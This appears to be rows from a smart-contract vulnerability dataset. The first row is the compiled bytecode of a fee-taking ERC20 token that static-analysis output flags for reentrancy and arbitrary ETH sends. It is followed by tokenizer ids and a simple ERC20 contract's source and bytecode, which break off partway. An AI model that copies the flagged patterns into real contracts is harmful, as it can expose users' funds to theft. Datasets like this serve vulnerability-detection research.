00000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b15b2cf9df25cdda574a303db83c8654d3f16b71639652e2a56712608fd95f3564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2509, 29292, 2094, 2549, 2063, 2692, 27009, 16703, 22932, 2629, 3676, 2063, 2692, 2575, 2063, 2475, 20961, 2487, 2497, 23499, 2683, 2094, 27814, 23499, 17465, 15878, 1013, 1013, 17255, 1999, 2226, 1006, 1002, 20934, 8428, 2226, 1007, 1013, 1013, 1016, 1003, 13366, 13490, 5649, 2748, 1013, 1013, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 17255, 2378, 19098, 26989, 13247, 1013, 1013, 1039, 2290, 1010, 4642, 2278, 10328, 1024, 7552, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,113
0x963bfe6c33f3fe9d7675a0da3826211a2025ae44
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract BigSmartDax is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "BigSmartDax"; symbol = "BSD"; decimals = 6; _totalSupply = 35935900 *10**uint(decimals); balances[0x7F7841013A711da7C809AD7E61c3A1770ff946c5] = _totalSupply; emit Transfer(address(0), 0x7F7841013A711da7C809AD7E61c3A1770ff946c5, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffff